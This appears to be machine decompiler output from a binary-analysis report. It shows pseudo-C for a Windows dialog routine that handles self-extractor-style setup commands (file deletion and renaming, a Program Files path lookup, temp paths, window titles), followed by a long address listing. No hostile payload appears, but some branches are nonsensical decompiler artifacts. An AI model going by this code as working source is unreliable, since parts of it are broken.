									__ebp - 0x2440 = E0040935F(__ebx, __ecx, __edi, __ebp - 0x2440, 1);
									__ebp - 0xcc90 = __ebp - 0x9c90;
									__eax = E0041A7F7(__ebp - 0x9c90, __ebp - 0xcc90);
									_pop(__ecx);
									_pop(__ecx);
									__ebp - 0x9c90 = E0040A7F3(__eflags, __ebp - 0x9c90);
									 *(__ebp - 0x4c40) & 0x0000ffff =  ~( *(__ebp - 0x4c40) & 0x0000ffff);
									asm("sbb eax, eax");
									__ecx = __ebp - 0x4c40;
									__eax =  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40;
									 *(__ebp - 0xbc90) & 0x0000ffff =  ~( *(__ebp - 0xbc90) & 0x0000ffff);
									asm("sbb ecx, ecx");
									__edx = __ebp - 0xbc90;
									__ecx =  ~( *(__ebp - 0xbc90) & 0x0000ffff) & __ebp - 0x0000bc90;
									 *(__ebp - 0x15c90) & 0x0000ffff =  ~( *(__ebp - 0x15c90) & 0x0000ffff);
									asm("sbb edx, edx");
									__esi = __ebp - 0x15c90;
									__edx =  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90;
									 *(__ebp - 0x9c90) & 0x0000ffff =  ~( *(__ebp - 0x9c90) & 0x0000ffff);
									asm("sbb esi, esi");
									__edi = __ebp - 0x9c90;
									__esi =  ~( *(__ebp - 0x9c90) & 0x0000ffff) & __edi;
									__ebp - 0x2440 = __ebp - 0xcc90;
									__eax = E00419BB0(__ecx, 0, __ebp - 0xcc90, __ebp - 0x2440, __esi,  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90, __ecx,  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40);
									__eflags =  *(__ebp - 0xac90);
									if( *(__ebp - 0xac90) != 0) {
										__eax = __ebp - 0xac90;
										SHChangeNotify(0x1000, 5, __ebp - 0xac90, 0);
									}
									while(1) {
										L160:
										_t263 = E0040D781(_t339 - 0x11, _t339 - 0xec90, _t337,  *((intOrPtr*)(_t339 + 0xc)), _t339 - 0x4440, _t339 + 0xf, 0x1000);
										 *((intOrPtr*)(_t339 + 0xc)) = _t263;
										if(_t263 != 0) {
											_t335 = GetFileAttributesW;
											_t322 = _t339 - 0x1bc90;
											_t337 = 0x438818;
											_t264 = _t339 - 0x4440;
											 *(_t339 - 0x10) = _t339 - 0x1bc90;
											 *((intOrPtr*)(_t339 - 0x18)) = 6;
											goto L2;
										} else {
											break;
										}
										L4:
										while(E00411E60(_t339 - 0xec90,  *((intOrPtr*)(0x430100 +  *(_t339 - 0x10) * 4))) != 0) {
											 *(_t339 - 0x10) =  *(_t339 - 0x10) + 1;
											if( *(_t339 - 0x10) < 0xe) {
												continue;
											} else {
												goto L160;
											}
										}
										__eflags =  *(_t339 - 0x10) - 0xd;
										if( *(_t339 - 0x10) > 0xd) {
											continue;
										}
										switch( *((intOrPtr*)( *(_t339 - 0x10) * 4 +  &M0040F443))) {
											case 0:
												__eflags =  *((intOrPtr*)(_t339 + 0x10)) - 2;
												if( *((intOrPtr*)(_t339 + 0x10)) != 2) {
													goto L160;
												}
												E00419C9B(_t339 - 0x8c90, _t319);
												E0040A146(_t339 - 0x8c90, _t339 - 0x4440, _t339 - 0xfc90, _t319);
												E00409433(_t339 - 0x7c90);
												 *(_t339 - 4) =  *(_t339 - 4) & 0x00000000;
												E0040945C(_t339 - 0x7c90, _t339 - 0xfc90);
												E004067E1(_t339 - 0x5c88);
												_push(0);
												_t280 = E0040960E(_t339 - 0x7c90, _t333, _t339 - 0x5c88);
												__eflags = _t280;
												if(_t280 == 0) {
													L25:
													 *(_t339 - 4) =  *(_t339 - 4) | 0xffffffff;
													E00409449(_t339 - 0x7c90);
													goto L160;
												} else {
													_t337 = L"%s.%d.tmp";
													do {
														SetFileAttributesW(_t339 - 0x5c88, 0);
														__eflags =  *((char*)(_t339 - 0x4c7c));
														if(__eflags == 0) {
															L17:
															_t285 = GetFileAttributesW(_t339 - 0x5c88);
															__eflags = _t285 - 0xffffffff;
															if(_t285 == 0xffffffff) {
																goto L24;
															}
															_t289 = DeleteFileW(_t339 - 0x5c88);
															__eflags = _t289;
															if(_t289 != 0) {
																goto L24;
															} else {
																 *(_t339 - 0x10) =  *(_t339 - 0x10) & _t289;
																_push(_t289);
																goto L21;
																L21:
																E0040BC16(_t339 - 0x1040, _t319, _t337, _t339 - 0x5c88);
																_t341 = _t341 + 0x14;
																_t294 = GetFileAttributesW(_t339 - 0x1040);
																__eflags = _t294 - 0xffffffff;
																if(_t294 != 0xffffffff) {
																	_t61 = _t339 - 0x10;
																	 *_t61 =  *(_t339 - 0x10) + 1;
																	__eflags =  *_t61;
																	_push( *(_t339 - 0x10));
																	goto L21;
																} else {
																	_t297 = MoveFileW(_t339 - 0x5c88, _t339 - 0x1040);
																	__eflags = _t297;
																	if(_t297 != 0) {
																		MoveFileExW(_t339 - 0x1040, 0, 4);
																	}
																	goto L24;
																}
															}
														}
														E0040AA7D(__eflags, _t339 - 0x8c90, _t339 - 0x1040, _t319);
														E0040A116(__eflags, _t339 - 0x1040, _t319);
														_t306 = E0041A7AF(_t339 - 0x8c90);
														 *((intOrPtr*)(_t339 - 0x18)) = _t306;
														__eflags = _t306 - 4;
														if(_t306 < 4) {
															L15:
															_t308 = E0040A0A4(_t339 - 0x4440);
															__eflags = _t308;
															if(_t308 != 0) {
																goto L25;
															}
															L16:
															_t310 = E0041A7AF(_t339 - 0x5c88);
															__eflags = 0;
															 *((short*)(_t339 + _t310 * 2 - 0x5c86)) = 0;
															E0041A820(_t335, _t339 - 0x40, 0, 0x1e);
															_t341 = _t341 + 0x10;
															_push(0x14);
															_pop(_t313);
															 *((short*)(_t339 - 0x30)) = _t313;
															 *((intOrPtr*)(_t339 - 0x38)) = _t339 - 0x5c88;
															 *((intOrPtr*)(_t339 - 0x3c)) = 3;
															SHFileOperationW(_t339 - 0x40);
															goto L17;
														}
														_t318 = E0041A7AF(_t339 - 0x1040);
														__eflags =  *((intOrPtr*)(_t339 - 0x18)) - _t318;
														if( *((intOrPtr*)(_t339 - 0x18)) > _t318) {
															goto L16;
														}
														goto L15;
														L24:
														_push(0);
														_t287 = E0040960E(_t339 - 0x7c90, _t333, _t339 - 0x5c88);
														__eflags = _t287;
													} while (_t287 != 0);
													goto L25;
												}
											case 1:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) == 0) {
													__eflags =  *((char*)(__ebp - 0x11));
													if(__eflags == 0) {
														__edi = __ebp + 0xc;
														__edi = E0040D92D(__ebp + 0xc, __eflags);
													} else {
														__edi = __ebp - 0x4440;
													}
													__eflags =  *((char*)(__ebp - 0x12));
													if( *((char*)(__ebp - 0x12)) == 0) {
														__esi = E0041A7AF( *0x441850);
													} else {
														__esi = 0;
													}
													__eax = E0041A7AF(__edi);
													__eax = __eax + __esi;
													_push(__eax);
													_push( *0x441850);
													__eax = E0041A594(__ebx, __edi, __esi, __eflags);
													__esp = __esp + 0xc;
													__eflags =  *((char*)(__ebp - 0x12));
													 *0x441850 = __eax;
													if( *((char*)(__ebp - 0x12)) != 0) {
														__ecx = 0;
														__eflags = 0;
														 *__eax = __cx;
													}
													__eax = E0041A7C9(__eax, __edi);
													__eflags =  *((char*)(__ebp - 0x11));
													_pop(__ecx);
													_pop(__ecx);
													if(__eflags == 0) {
														_push(__edi);
														__eax = E0041A506(__ebx, __edi, __esi, __eflags);
														_pop(__ecx);
													}
												}
												goto L160;
											case 2:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) == 0) {
													__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
												}
												goto L160;
											case 3:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) != 0) {
													goto L160;
												}
												__eflags =  *0x44187a;
												if( *0x44187a != 0) {
													goto L160;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x4440) - 0x22;
												__edi = __ebp - 0x4440;
												 *(__ebp - 0x18) = __edi;
												 *(__ebp - 0x1040) = __ax;
												if( *(__ebp - 0x4440) == 0x22) {
													__edi = __ebp - 0x443e;
													 *(__ebp - 0x18) = __edi;
												}
												__eax = E0041A7AF(__edi);
												__eflags = __eax - __ebx;
												if(__eax >= __ebx) {
													goto L160;
												} else {
													__eax = __edi->i & 0x0000ffff;
													__eflags = __ax - 0x2e;
													if(__ax != 0x2e) {
														L50:
														__eflags = __ax - 0x5c;
														if(__ax == 0x5c) {
															L62:
															_push(__edi);
															L63:
															__eax = __ebp - 0x1040;
															_push(__ebp - 0x1040);
															__eax = E0041A7F7();
															L64:
															_pop(__ecx);
															_pop(__ecx);
															L65:
															__eax = __ebp - 0x1040;
															__eax = E0041CA4F(__ebp - 0x1040, 0x22);
															_pop(__ecx);
															_pop(__ecx);
															__eflags = __eax;
															if(__eax != 0) {
																__eflags =  *((short*)(__eax + 2));
																if( *((short*)(__eax + 2)) == 0) {
																	__ecx = 0;
																	__eflags = 0;
																	 *__eax = __cx;
																}
															}
															__ebp - 0x1040 = E0041A7F7(__esi, __ebp - 0x1040);
															_pop(__ecx);
															_pop(__ecx);
															__ebp - 0x1040 = E0040DB16(__esi, __ebp - 0x1040, __ebx); // executed
															__edi = GetDlgItem( *(__ebp + 8), 0x66);
															__ebp - 0x1040 = SetWindowTextW(__edi, __ebp - 0x1040); // executed
															__eax = SendMessageW(__edi, 0x143, 0, __esi); // executed
															__eax = __ebp - 0x1040;
															__eax = E0041AA21(__esi, __ebp - 0x1040);
															_pop(__ecx);
															_pop(__ecx);
															__eflags = __eax;
															if(__eax != 0) {
																__ebp - 0x1040 = SendMessageW(__edi, 0x143, 0, __ebp - 0x1040);
															}
															goto L160;
														}
														__eflags = __ax;
														if(__ax == 0) {
															L53:
															__eax = __ebp - 0x1c;
															__eax = RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion", 0, 1, __ebp - 0x1c);
															__eflags = __eax;
															if(__eax == 0) {
																__ebp - 0x10 = __ebp - 0x1040;
																__eax = __ebp - 0x20;
																 *(__ebp - 0x10) = 0x1000;
																RegQueryValueExW( *(__ebp - 0x1c), L"ProgramFilesDir", 0, __ebp - 0x20, __ebp - 0x1040, __ebp - 0x10) = RegCloseKey( *(__ebp - 0x1c));
																 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
																__eax = 0x7ff;
																__eflags =  *(__ebp - 0x10) - 0x7ff;
																if( *(__ebp - 0x10) < 0x7ff) {
																	__eax =  *(__ebp - 0x10);
																}
																__ecx = 0;
																__eflags = 0;
																 *((short*)(__ebp + __eax * 2 - 0x1040)) = __cx;
															}
															__eflags =  *(__ebp - 0x1040);
															if( *(__ebp - 0x1040) != 0) {
																__eax = __ebp - 0x1040;
																__eax = E0041A7AF(__ebp - 0x1040);
																__eflags =  *((short*)(__ebp + __eax * 2 - 0x1042)) - 0x5c;
																if( *((short*)(__ebp + __eax * 2 - 0x1042)) != 0x5c) {
																	__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040, "\\");
																	_pop(__ecx);
																	_pop(__ecx);
																}
															}
															__edi = E0041A7AF(__edi);
															__eax = __ebp - 0x1040;
															__edi = __edi + E0041A7AF(__ebp - 0x1040);
															__eflags = __edi - 0x7ff;
															if(__edi >= 0x7ff) {
																goto L65;
															} else {
																__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040,  *(__ebp - 0x18));
																goto L64;
															}
														}
														__eflags = __edi->i - 0x3a;
														if(__edi->i == 0x3a) {
															goto L62;
														}
														goto L53;
													}
													__eflags = __edi->i - 0x5c;
													if(__edi->i != 0x5c) {
														goto L50;
													}
													_t97 = __edi + 4; // 0x26
													__eax = _t97;
													__eflags =  *__eax;
													if( *__eax == 0) {
														goto L160;
													} else {
														_push(__eax);
														goto L63;
													}
												}
											case 4:
												__eflags =  *0x441874 - 1;
												__eflags = __eax - 0x441874;
												__edi->i = __edi->i + __ecx;
												__eflags = __edi->i & __dh;
												_push(es);
												 *__eax =  *__eax + __al;
												__eflags =  *__eax;
											case 5:
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eflags = __eax;
												if(__eax == 0) {
													L82:
													 *0x441831 = 0;
													 *0x441830 = 1;
													goto L160;
												}
												__eax = __eax - 0x30;
												__eflags = __eax;
												if(__eax == 0) {
													 *0x441831 = 0;
													L81:
													 *0x441830 = 0;
													goto L160;
												}
												__eax = __eax - 1;
												__eflags = __eax;
												if(__eax == 0) {
													goto L82;
												}
												__eax = __eax - 1;
												__eflags = __eax;
												if(__eax != 0) {
													goto L160;
												}
												 *0x441831 = 1;
												goto L81;
											case 6:
												__eflags =  *(__ebp + 0x10) - 4;
												if( *(__ebp + 0x10) != 4) {
													goto L92;
												}
												__eax = __ebp - 0x4440;
												__eax = E0041AA21(__ebp - 0x4440, L"<>");
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax == 0) {
													goto L92;
												}
												_push(0);
												goto L91;
											case 7:
												__eflags =  *(__ebp + 0x10) - 1;
												if(__eflags != 0) {
													L112:
													__eflags =  *(__ebp + 0x10) - 7;
													if( *(__ebp + 0x10) == 7) {
														__eflags =  *0x441874;
														if( *0x441874 == 0) {
															 *0x441874 = 2;
														}
														 *0x441870 = 1;
													}
													goto L160;
												}
												__ebp - 0x8c90 = GetTempPathW(__ebx, __ebp - 0x8c90);
												__ebp - 0x8c90 = E0040A116(__eflags, __ebp - 0x8c90, __ebx);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
												_push(0);
												__esi = L"%s%s%d";
												while(1) {
													_push( *0x4300c8);
													__ebp - 0x8c90 = __ebp - 0x1040;
													E0040BC16(__ebp - 0x1040, __ebx, __esi, __ebp - 0x8c90) = __ebp - 0x1040;
													_push(__ebp - 0x1040);
													__eax = __edi->i();
													__eflags = __eax - 0xffffffff;
													if(__eax == 0xffffffff) {
														break;
													}
													_t146 = __ebp - 0x10;
													 *_t146 =  *(__ebp - 0x10) + 1;
													__eflags =  *_t146;
													_push( *(__ebp - 0x10));
												}
												__ebp - 0x1040 = SetDlgItemTextW( *(__ebp + 8), 0x66, __ebp - 0x1040);
												__eflags =  *(__ebp - 0x4440);
												if( *(__ebp - 0x4440) == 0) {
													goto L160;
												}
												__eflags =  *0x44184a;
												if( *0x44184a != 0) {
													goto L160;
												}
												__eax = 0;
												 *(__ebp - 0x1440) = __ax;
												__eax = __ebp - 0x4440;
												__eax = E0041CA29(__ebp - 0x4440, 0x2c);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													L108:
													__eflags =  *(__ebp - 0x1440);
													if( *(__ebp - 0x1440) == 0) {
														__ebp - 0x1bc90 = __ebp - 0x4440;
														E0041A7F7(__ebp - 0x4440, __ebp - 0x1bc90) = __ebp - 0x19c90;
														__ebp - 0x1440 = E0041A7F7(__ebp - 0x1440, __ebp - 0x19c90);
													}
													__ebp - 0x4440 = E0040D24C(__ebp - 0x4440);
													__eax = 0;
													 *(__ebp - 0x3440) = __ax;
													__ebp - 0x1440 = __ebp - 0x4440;
													__eax = MessageBoxW( *(__ebp + 8), __ebp - 0x4440, __ebp - 0x1440, 0x24);
													__eflags = __eax - 6;
													if(__eax == 6) {
														goto L160;
													} else {
														 *0x441849 = 1;
														 *0x44183c = 1;
														__eax = EndDialog( *(__ebp + 8), 1);
														goto L112;
													}
												}
												__ecx = 0;
												__eflags =  *(__ebp - 0x4440) - __cx;
												if( *(__ebp - 0x4440) == __cx) {
													goto L108;
												}
												__eax = __ebp - 0x4440;
												while(1) {
													__eflags =  *__eax - 0x40;
													if( *__eax == 0x40) {
														break;
													}
													__ecx = __ecx + 1;
													__eax = __ebp + __ecx * 2 - 0x4440;
													__eflags =  *__eax;
													if( *__eax != 0) {
														continue;
													}
													goto L108;
												}
												__esi = __ecx + __ecx;
												__ebp + __esi - 0x443e = __ebp - 0x1440;
												__eax = E0041A7F7(__ebp - 0x1440, __ebp + __esi - 0x443e);
												_pop(__ecx);
												__eax = 0;
												__eflags = 0;
												_pop(__ecx);
												 *(__ebp + __esi - 0x4440) = __ax;
												goto L108;
											case 8:
												__eflags =  *(__ebp + 0x10) - 3;
												if( *(__ebp + 0x10) == 3) {
													__eflags =  *(__ebp - 0x4440);
													if(__eflags != 0) {
														__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
													}
													__edi = __ebp + 0xc;
													 *0x441854 = E0040D92D(__edi, __eflags);
												}
												 *0x44184b = 1;
												goto L160;
											case 9:
												__eflags =  *(__ebp + 0x10) - 5;
												if( *(__ebp + 0x10) != 5) {
													L92:
													 *0x44185c = 1;
													goto L160;
												}
												_push(1);
												L91:
												_push( *(__ebp + 8));
												__ecx = __ebp - 0x4440;
												__eax = E0040E46C(__ecx);
												goto L92;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp + 0x10) - 7;
												if( *(__ebp + 0x10) == 7) {
													 *0x441878 = 1;
												}
												goto L160;
											case 0xc:
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eax = E0041D265( *(__ebp - 0x4440) & 0x0000ffff);
												__eflags = __eax - 0x46;
												if(__eax == 0x46) {
													 *0x441823 = 1;
												} else {
													__eflags = __eax - 0x55;
													if(__eax == 0x55) {
														 *0x441822 = 1;
													} else {
														 *0x441823 = 0;
														 *0x441822 = 0;
													}
												}
												goto L160;
											case 0xd:
												 *0x44185d = 1;
												__eax = __eax + 0x44185d;
												__ecx = __ecx + __ebp;
												 *0x7d830000 =  *0x7d830000 ^ __eax;
												__eflags =  *0x7d830000;
												goto L160;
										}
										L2:
										_t264 = E0040DCB8(_t322, _t264,  *(_t339 - 0x10));
										 *(_t339 - 0x10) =  *(_t339 - 0x10) + 0x2000;
										_t9 = _t339 - 0x18;
										 *_t9 =  *((intOrPtr*)(_t339 - 0x18)) - 1;
										if( *_t9 != 0) {
											goto L2;
										} else {
											 *(_t339 - 0x10) =  *(_t339 - 0x10) & 0x00000000;
											goto L4;
										}
									}
									 *[fs:0x0] =  *((intOrPtr*)(_t339 - 0xc));
									return _t263;
								}
								goto L155;
							}
						}
					}
				}
			}

0x00000000
0x0040f0c2
0x0040f0c2
0x0040f0c6
0x00000000
0x0040f0cc
0x0040f0cc
0x0040f0ce
0x0040f0d5
0x0040f0dd
0x0040f0e3
0x0040f0e4
0x0040f0e7
0x0040f11c
0x0040f121
0x0040f127
0x0040f128
0x0040f12d
0x0040f0e9
0x0040f0e9
0x0040f0ec
0x0040f0f2
0x0040f108
0x0040f10d
0x0040f10e
0x0040f113
0x0040f0f4
0x0040f0f4
0x0040f0f9
0x0040f0fa
0x0040f0ff
0x0040f0ff
0x0040f0f2
0x0040f134
0x0040f136
0x0040f13d
0x0040f14b
0x0040f152
0x0040f157
0x0040f15f
0x0040f160
0x0040f161
0x0040f1b2
0x0040f1b7
0x0040f1b9
0x00000000
0x00000000
0x0040f1bf
0x0040f1c3
0x0040f1cb
0x0040f1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f1d3
0x0040f1d3
0x0040f1d3
0x0040f1d6
0x0040f1da
0x0040f1e2
0x0040f1e2
0x0040f1e5
0x0040f1e7
0x0040f1f1
0x0040f1f6
0x0040f1f8
0x0040f238
0x00000000
0x0040f238
0x0040f1fa
0x0040f1fd
0x0040f201
0x0040f219
0x0040f219
0x0040f21a
0x0040f21b
0x0040f21b
0x0040f221
0x0040f222
0x0040f228
0x0040f22e
0x0040f231
0x0040f232
0x0040f233
0x00000000
0x0040f233
0x0040f205
0x0040f206
0x0040f20d
0x0040f210
0x0040f211
0x00000000
0x0040f211
0x0040f1dc
0x0040f1e0
0x00000000
0x00000000
0x00000000
0x0040f23b
0x0040f23b
0x0040f23c
0x0040f23d
0x0040f23d
0x0040f243
0x0040f247
0x0040f249
0x0040f24c
0x0040f24c
0x0040f24e
0x0040f24e
0x00000000
0x0040f163
0x0040f16a
0x0040f176
0x0040f17f
0x0040f187
0x0040f189
0x0040f18f
0x0040f191
0x0040f19f
0x0040f1a4
0x0040f1a5
0x0040f1a5
0x0040f251
0x0040f251
0x0040f253
0x0040f25a
0x0040f264
0x0040f26b
0x0040f26b
0x0040f278
0x0040f27f
0x0040f284
0x0040f28b
0x0040f297
0x0040f297
0x0040f2a4
0x0040f2a9
0x0040f2b0
0x0040f2ba
0x0040f2c7
0x0040f2ce
0x0040f2ce
0x0040f2da
0x0040f2e1
0x0040f2e6
0x0040f2e7
0x0040f2e8
0x0040f2ee
0x0040f2f5
0x0040f2f7
0x0040f2f7
0x0040f30c
0x0040f311
0x0040f31d
0x0040f31f
0x0040f330
0x0040f33d
0x00000000
0x0040f321
0x0040f32c
0x0040f32e
0x0040f342
0x0040f34b
0x0040f357
0x0040f35e
0x0040f363
0x0040f364
0x0040f36c
0x0040f378
0x0040f37a
0x0040f37c
0x0040f382
0x0040f38b
0x0040f38d
0x0040f38f
0x0040f395
0x0040f39e
0x0040f3a0
0x0040f3a2
0x0040f3a8
0x0040f3b3
0x0040f3b6
0x0040f3b8
0x0040f3be
0x0040f3c8
0x0040f3d1
0x0040f3d6
0x0040f3de
0x0040f3e2
0x0040f3f0
0x0040f3f0
0x0040f405
0x0040f405
0x0040f421
0x0040f426
0x0040f42b
0x0040e8a9
0x0040e8af
0x0040e8b5
0x0040e8ba
0x0040e8c0
0x0040e8c3
0x0040e8c3
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e8e3
0x0040e8fd
0x0040e904
0x00000000
0x0040e906
0x00000000
0x0040e906
0x0040e904
0x0040e90b
0x0040e90f
0x00000000
0x00000000
0x0040e918
0x00000000
0x0040e91f
0x0040e923
0x00000000
0x00000000
0x0040e931
0x0040e94c
0x0040e957
0x0040e95c
0x0040e96d
0x0040e978
0x0040e97d
0x0040e98c
0x0040e991
0x0040e993
0x0040eaf2
0x0040eaf2
0x0040eafc
0x00000000
0x0040e999
0x0040e999
0x0040e99e
0x0040e9a7
0x0040e9ad
0x0040e9b4
0x0040ea5c
0x0040ea63
0x0040ea65
0x0040ea68
0x00000000
0x00000000
0x0040ea71
0x0040ea77
0x0040ea79
0x00000000
0x0040ea7b
0x0040ea7b
0x0040ea7e
0x0040ea7f
0x0040ea87
0x0040ea97
0x0040ea9c
0x0040eaa6
0x0040eaa8
0x0040eaab
0x0040ea81
0x0040ea81
0x0040ea81
0x0040ea84
0x00000000
0x0040eaad
0x0040eabb
0x0040eac1
0x0040eac3
0x0040ead0
0x0040ead0
0x00000000
0x0040eac3
0x0040eaab
0x0040ea79
0x0040e9c9
0x0040e9d6
0x0040e9e2
0x0040e9e8
0x0040e9eb
0x0040e9ee
0x0040ea02
0x0040ea09
0x0040ea0e
0x0040ea10
0x00000000
0x00000000
0x0040ea16
0x0040ea1d
0x0040ea22
0x0040ea26
0x0040ea33
0x0040ea38
0x0040ea3b
0x0040ea3d
0x0040ea3e
0x0040ea48
0x0040ea4f
0x0040ea56
0x00000000
0x0040ea56
0x0040e9f7
0x0040e9fd
0x0040ea00
0x00000000
0x00000000
0x00000000
0x0040ead6
0x0040ead6
0x0040eae5
0x0040eaea
0x0040eaea
0x00000000
0x0040e99e
0x00000000
0x0040eb06
0x0040eb0a
0x0040eb2e
0x0040eb32
0x0040eb3c
0x0040eb44
0x0040eb34
0x0040eb34
0x0040eb34
0x0040eb46
0x0040eb4a
0x0040eb5c
0x0040eb4c
0x0040eb4c
0x0040eb4c
0x0040eb5f
0x0040eb64
0x0040eb6a
0x0040eb6b
0x0040eb71
0x0040eb76
0x0040eb79
0x0040eb7d
0x0040eb82
0x0040eb84
0x0040eb84
0x0040eb86
0x0040eb86
0x0040eb8b
0x0040eb90
0x0040eb94
0x0040eb95
0x0040eb96
0x0040eb9c
0x0040eb9d
0x0040eba2
0x0040eba2
0x0040eb96
0x00000000
0x00000000
0x0040eba8
0x0040ebac
0x0040ebbc
0x0040ebbc
0x00000000
0x00000000
0x0040ebc7
0x0040ebcb
0x00000000
0x00000000
0x0040ebd1
0x0040ebd9
0x00000000
0x00000000
0x0040ebdf
0x0040ebe1
0x0040ebe9
0x0040ebef
0x0040ebf2
0x0040ebf9
0x0040ebfb
0x0040ec01
0x0040ec01
0x0040ec05
0x0040ec0b
0x0040ec0d
0x00000000
0x0040ec13
0x0040ec13
0x0040ec16
0x0040ec1a
0x0040ec36
0x0040ec36
0x0040ec3a
0x0040ed1b
0x0040ed1b
0x0040ed1c
0x0040ed1c
0x0040ed22
0x0040ed23
0x0040ed28
0x0040ed28
0x0040ed29
0x0040ed2a
0x0040ed2a
0x0040ed33
0x0040ed38
0x0040ed39
0x0040ed3a
0x0040ed3c
0x0040ed3e
0x0040ed43
0x0040ed45
0x0040ed45
0x0040ed47
0x0040ed47
0x0040ed43
0x0040ed52
0x0040ed57
0x0040ed58
0x0040ed61
0x0040ed71
0x0040ed7b
0x0040ed8a
0x0040ed90
0x0040ed98
0x0040ed9d
0x0040ed9e
0x0040ed9f
0x0040eda1
0x0040edb6
0x0040edb6
0x00000000
0x0040eda1
0x0040ec40
0x0040ec43
0x0040ec50
0x0040ec50
0x0040ec62
0x0040ec68
0x0040ec6a
0x0040ec70
0x0040ec77
0x0040ec85
0x0040ec95
0x0040ec9b
0x0040ec9e
0x0040eca3
0x0040eca6
0x0040eca8
0x0040eca8
0x0040ecab
0x0040ecab
0x0040ecad
0x0040ecad
0x0040ecb5
0x0040ecbd
0x0040ecbf
0x0040ecc6
0x0040eccb
0x0040ecd5
0x0040ece3
0x0040ece8
0x0040ece9
0x0040ece9
0x0040ecd5
0x0040ecf0
0x0040ecf2
0x0040ecfe
0x0040ed02
0x0040ed08
0x00000000
0x0040ed0a
0x0040ed14
0x00000000
0x0040ed14
0x0040ed08
0x0040ec45
0x0040ec4a
0x00000000
0x00000000
0x00000000
0x0040ec4a
0x0040ec1c
0x0040ec21
0x00000000
0x00000000
0x0040ec23
0x0040ec23
0x0040ec26
0x0040ec2a
0x00000000
0x0040ec30
0x0040ec30
0x00000000
0x0040ec30
0x0040ec2a
0x00000000
0x0040edc1
0x0040edc2
0x0040edc7
0x0040edc9
0x0040edcb
0x0040edcc
0x0040edcc
0x00000000
0x0040ee02
0x0040ee09
0x0040ee09
0x0040ee0c
0x0040ee39
0x0040ee39
0x0040ee40
0x00000000
0x0040ee40
0x0040ee0e
0x0040ee0e
0x0040ee11
0x0040ee26
0x0040ee2d
0x0040ee2d
0x00000000
0x0040ee2d
0x0040ee13
0x0040ee13
0x0040ee14
0x00000000
0x00000000
0x0040ee16
0x0040ee16
0x0040ee17
0x00000000
0x00000000
0x0040ee1d
0x00000000
0x00000000
0x0040ee8f
0x0040ee93
0x00000000
0x00000000
0x0040ee95
0x0040eea1
0x0040eea6
0x0040eea7
0x0040eea8
0x0040eeaa
0x00000000
0x00000000
0x0040eeac
0x00000000
0x00000000
0x0040eed4
0x0040eed8
0x0040f04f
0x0040f04f
0x0040f053
0x0040f059
0x0040f060
0x0040f062
0x0040f062
0x0040f06c
0x0040f06c
0x00000000
0x0040f053
0x0040eee6
0x0040eef4
0x0040eef9
0x0040eefd
0x0040eeff
0x0040ef0c
0x0040ef0c
0x0040ef1a
0x0040ef2a
0x0040ef30
0x0040ef31
0x0040ef33
0x0040ef36
0x00000000
0x00000000
0x0040ef06
0x0040ef06
0x0040ef06
0x0040ef09
0x0040ef09
0x0040ef44
0x0040ef4a
0x0040ef52
0x00000000
0x00000000
0x0040ef58
0x0040ef5f
0x00000000
0x00000000
0x0040ef65
0x0040ef67
0x0040ef6e
0x0040ef77
0x0040ef7c
0x0040ef7d
0x0040ef7e
0x0040ef80
0x0040efcc
0x0040efcc
0x0040efd4
0x0040efdd
0x0040efe9
0x0040eff7
0x0040effc
0x0040f006
0x0040f00b
0x0040f00d
0x0040f01d
0x0040f027
0x0040f02d
0x0040f030
0x00000000
0x0040f036
0x0040f03b
0x0040f042
0x0040f049
0x00000000
0x0040f049
0x0040f030
0x0040ef82
0x0040ef84
0x0040ef8b
0x00000000
0x00000000
0x0040ef8d
0x0040ef93
0x0040ef93
0x0040ef97
0x00000000
0x00000000
0x0040ef99
0x0040ef9a
0x0040efa1
0x0040efa5
0x00000000
0x00000000
0x00000000
0x0040efa7
0x0040efa9
0x0040efb4
0x0040efbb
0x0040efc0
0x0040efc1
0x0040efc1
0x0040efc3
0x0040efc4
0x00000000
0x00000000
0x0040f078
0x0040f07c
0x0040f07e
0x0040f086
0x0040f092
0x0040f092
0x0040f098
0x0040f0a0
0x0040f0a0
0x0040f0a5
0x00000000
0x00000000
0x0040f0b1
0x0040f0b5
0x0040eebc
0x0040eebc
0x00000000
0x0040eebc
0x0040f0bb
0x0040eeae
0x0040eeae
0x0040eeb1
0x0040eeb7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f3f8
0x0040f3fc
0x0040f3fe
0x0040f3fe
0x00000000
0x00000000
0x0040ee4c
0x0040ee54
0x0040ee5a
0x0040ee5d
0x0040ee83
0x0040ee5f
0x0040ee5f
0x0040ee62
0x0040ee77
0x0040ee64
0x0040ee64
0x0040ee6b
0x0040ee6b
0x0040ee62
0x00000000
0x00000000
0x0040eec8
0x0040eec9
0x0040eece
0x0040eed0
0x0040eed0
0x00000000
0x00000000
0x0040e8ca
0x0040e8ce
0x0040e8d3
0x0040e8da
0x0040e8da
0x0040e8dd
0x00000000
0x0040e8df
0x0040e8df
0x00000000
0x0040e8df
0x0040e8dd
0x0040f437
0x0040f43f
0x0040f43f
0x00000000
0x0040f32e
0x0040f31f
0x0040f161
0x0040f0c6

APIs

_wcscpy.LIBCMT ref: 0040F152
